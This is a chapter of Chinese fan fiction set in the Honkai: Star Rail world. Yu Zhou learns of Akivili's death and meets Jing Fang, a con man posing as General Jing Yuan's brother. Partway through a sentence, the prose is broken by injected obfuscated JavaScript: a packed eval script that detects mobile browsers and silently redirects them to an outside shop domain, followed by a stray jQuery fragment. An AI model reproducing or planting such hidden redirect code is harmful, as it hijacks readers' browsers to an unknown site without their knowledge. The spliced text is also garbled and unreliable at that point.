“现在要去做什么?”俞洲吃饱之后语调都变得懒散,靠着座椅不愿动弹。
“将军让我先去地衡司给你上名,免得下次又被抓起来了。”彦卿深觉自己承受了这个年纪不该承受之重,这人明明看上去比自己大,怎么给他的感觉却像在带孩子。
“哦。”俞洲眼珠子一转,点头应下,“那你去吧,我在这里等你。”
“顺便逛一会,身为神策将军的弟弟,怎么样也要了解一下哥哥的生长环境吧。”
彦卿:……
权衡利弊之下他最终点头,和俞洲交换了联系方式,“仙舟如今并非表面上那么安全,在附近散步也不要走的太远,有事记得随时联系我或者将军。”
“地衡司在那边。”彦卿给他指了方向,又想起对方从见面到现在表现出来的一系列不靠谱,忍不住叮嘱,“不要随便和陌生人搭话,你看上去不是笨蛋,应该知道这个道理吧。”
俞洲觉得自己被看扁了,但还是连连点头,示意自己知道了。
彦卿这才一步三回头十分不放心地走了。
因为是彦卿带过来的人,这时候又不是饭点,店里来用餐的客人不算多,所以没人让俞洲尽快离开,甚至贴心的店家还送来了一杯花茶。
俞洲礼貌道谢之后,再次把自己的目光放到了系统面板上。
绑定景元之后通讯和图鉴两个图标都亮起来,图鉴可以定位其他绑定的哥哥们,有了位置俞洲可以找过去。
也不知道祂们现在都在哪里。
但打开图鉴之后俞洲只觉得天都塌了,为什么图鉴上只能查看景元一个人的信息?
其他人的都被锁住,变成了模糊的马赛克。
一定是自己打开的方式不对,俞洲这样想着关掉系统面板,狠狠闭眼又睁眼,再次将面板打开。
那牢固的马赛克纹丝不动,还是只有景元一个人的小图标亮着。
他知道系统面板坏了,但这坏的也太彻底了吧?
难道就是这个原因导致他看到的其他人都是离线状态吗?不能吧?帕姆不是都上线过吗?
俞洲觉得现在的情况完全超出了他的预料。
那他联系不上其他人,也不知道对方在什么位置,这要怎么继续获取好哥哥值?
毕竟好哥哥的筛选条件算的上苛刻,不是大街上随便拉个人都行的。
现在看来,只能暂时赖住景元了。
突然,他的余光瞥见一行小字,在面板的最下面。
【因系统能量告急,无法维持好哥哥图鉴展示和正常通讯,获取好哥哥值可重新解锁。】
【新计入人物可正常展示与之通话,如有需要,请和系统随时联系。】
俞洲:哈?
那他留的那些言有什么用?
他又返回去看了一眼自己的鸭蛋数值,总觉得被系统坑了,但他没有证据。
连怎么解锁的说明都没有,这要解锁到什么时候去啊。
是这样的,系统只需要告知一串莫名其妙的信息就可以了,但俞洲要考虑的就多了。
俞洲连连叹气,不过好在他的手机能用了,等连上星际网,可以搜一下星神哥哥们的消息,说不定会有意想不到的收获。
他拿出手机来,看了一眼好友列表,还是没有一个人在线,就连刚刚提醒上线的帕姆也离线了。
看来系统说的是真的,他还是想想现在该怎么获取好哥哥值吧。
俞洲鼓鼓脸,切换到搜索页面。
输入阿基维利——
【#时隔多年,星穹列车再度启航,阿基维利陨落之后,无名客是否再难有当初的辉煌?】
【#星穹列车新成员亮相,据悉,新成员外号银河球棒侠。】
【#继承阿基维利意志的无名客,领航员姬子发表看法……】
俞洲的目光落在阿基维利陨落几个字上面,有些不敢置信。
阿基维利……
死了?
难道在自己昏睡的时候,听到阿哈说的那些话,都是真的?
阿基维利怎么可能死……
俞洲眼眶一热鼻头微酸,他还记得自己睡前阿基维利温声叮嘱他晚上不要玩手机太晚,好好休息。
也还记得阿哈笑嘻嘻勾住阿基维利的脖子,让祂不要太过操心,“小鱼粥好歹也是我们俩的弟弟,怎么看也和普通人不一样吧?”
“Akivili,操心太多小心变成小老头。”
“阿哈,你们两个的年龄加起来比小老头太祖爷爷的年纪都大了吧。”俞洲抱着被子露出无语的表情。
“哈?你这小鬼,找打吗?”阿哈快步靠近床抄起枕头就连带着整个人朝着俞洲砸过来,俞洲也拿起枕头抵挡攻击,两个人就这样顺势在房间里玩上了枕头大战,只留下阿基维利在门口扶额叹气。
那么温和可亲的阿基维利,真的死了吗?
假的吧。
俞洲完全不相信,自己不过是睡了一觉,或许确实可能睡的时间有些长,但是怎么可能一觉醒来哥哥死了?
他沉默着,不敢置信地又换了关键词搜索,得到的结果也只有短短几行字。
阿基维利,陨落的星神,逝去的「开拓」,祂的离开是一个谜,但在所有已知的星神里,阿基维利是最接近人类的一位。
俞洲心情变得很糟糕,搜索上还说,阿基维利大概于2130琥珀纪之前陨落,现在已经2158纪了。
他很难说自己现在是什么心情,也不知道是对阿基维利的逝去感到难过还是为自己真的沉睡了几百甚至几千年而感到一种荒废光阴的心痛。
这么多年的时间要是拿来给他收集好哥哥值多好,他肯定早就能回家了!
俞洲叹息,他知道的,星神无所不能,但并非不会死亡。
早在之前他就听阿哈还有阿基维利讲过,星神是可以被杀死的。
星神司掌的命途会发生碰撞,宽广命途吞并狭隘的那条,星神与星神之间的神战,更强大的一方将消灭弱小的那方,还有……
令星神违背自己的命途。
也不知道促成阿基维利陨落的,是哪一条。
虽然早就知道会有这样一遭,但他知道之后现在心里憋得慌,很想找个人说说话。
出去走走吧。
俞洲沉默着离开了饭馆。
长乐天热闹非凡,有神策府坐镇,也没有宵小敢在神策将军的眼皮子底下作案。
俞洲在附近走走停停,这里看看哪里悄悄,路过一处小吃摊,惊觉自己一觉醒来不仅收集的数值归零,他的钱也归零了。
现在只能可怜巴巴地望着香喷喷的小食摊,露出渴望的表情。
等会去求求景元,他应该会给自己零花钱的吧?他很好养活的。
他一边漫无边际地想着,一边寻了个石台舒舒服服坐下等着彦卿找过来。
站在他旁边的哥们盯着他看了一会,走过来学着他的样子坐在石台上,“你是化外民?”
俞洲偏着头看说话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694519|207967||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的人,白毛青衣,看上去挺年轻,他有些疑惑,不知道为什么这个人要和自己搭话,“你是谁?”
“咳咳抱歉。”青衣男子对上俞洲的视线,莫名觉得有些羞涩,脸上晕出红,他掩面轻咳两声,“我名景芳,是罗浮将军景元的贤弟,平时没别的爱好,就喜欢与君子结交。”
“在下对兄台一见如故,恰好新得一幅山水画,独赏未免寂寞。若公子得闲,可否移步茶室,共鉴此画?一壶清茶,两碟酥糕,权当替这画作寻个知音。”
俞洲觉得这人说话真别扭,不过听清楚对方话语中包含的信息,露出古怪的表情,这神策将军的名头还真好使啊。
他看着景芳,兄弟我懂你,都是骗子,我懂的。
“品茶不必,赏画也不必了,我哥不让我和陌生人玩。”俞洲推辞,坚定做一个哥宝弟。
景芳不愿放弃结识美人的机会,他不知道俞洲那略显怪异的眼神是什么意思,只是又开口,“不知可否知晓兄台姓名?”
他从前从未在罗浮见过这样让人眼前一亮的人,叫人一瞥惊鸿,再难忘怀。
“啊。”俞洲收回放在他身上的目光,低头摆弄起手机给景元发消息,他俞洲今天一定要吃到香喷喷的鸣藕糕。
鱼粥:【哥,钱,给我。】
鱼粥:【鸣藕糕,吃否?】
听到景芳的问题他随口回了一句,“不才,在下神策将军景元的亲弟弟,俞洲。”
景芳:“你说什么?”
俞洲撩起眼看他,“我说,家兄神策将军景元。”
景芳:“抱歉,我有些没听清,能再说一遍吗?”
俞洲:“……家兄景元!”
景芳:……
他着实没想到一见钟情的美人居然是和自己一样打着神策将军的名号招摇撞骗的骗子。
俞洲没等到景元回消息,不知道对方是不是在处理公务,毕竟将军这个职位,听上去就很忙的。
他偏过头看着景芳一脸打受大击的样子,眉头一挑,余光瞥见了从地衡司出来的彦卿。
彦卿也看见了他,三步做两步小跑着过来,“还好你没走太远,我正想给你发消息看看呢。”
“嗯哼。”俞洲轻应一声。
彦卿看到坐在他身边的人,露出疑惑的表情,“这位是?”
“不认识。”俞洲站起来拍拍衣摆上的灰,然后对彦卿提出要求,“彦卿,我要吃鸣藕糕,给我买。”
“还有琼实鸟串和貘馍卷,还要喝仙人快乐茶。”俞洲歪着头,说着自己刚刚从路人对话中听来的小吃名称。
彦卿死鱼眼,“你是小孩子吗,怎么什么都想吃?”
俞洲仅用了0.01秒就接受了自己的新身份,“我可以是。”
“彦卿哥哥,我要吃,给我买。”
彦卿瞳孔地震:……
景芳一脸空白:……
俞洲被深觉丢脸的彦卿带走了,只留下满脸‘还能这样?’的景芳。
原来靠装傻子就能让神策将军身边的近卫给自己买单吗?
不过景芳觉得俞洲的傻不像是装出来的,毕竟没有哪个大人会对着总角之年的小孩叫哥哥吧?
他扼腕叹息,好好一个美人,怎么会脑子不正常。
景芳深觉自己罪恶,他怎么能调戏傻子呢?
帝弓在上啊,信男愿素茹一整日来忏悔罪过,信男也愿意永远追随对自己招摇撞骗的所作所为睁一只眼闭一只眼还让人尽心照顾傻子的景元将军。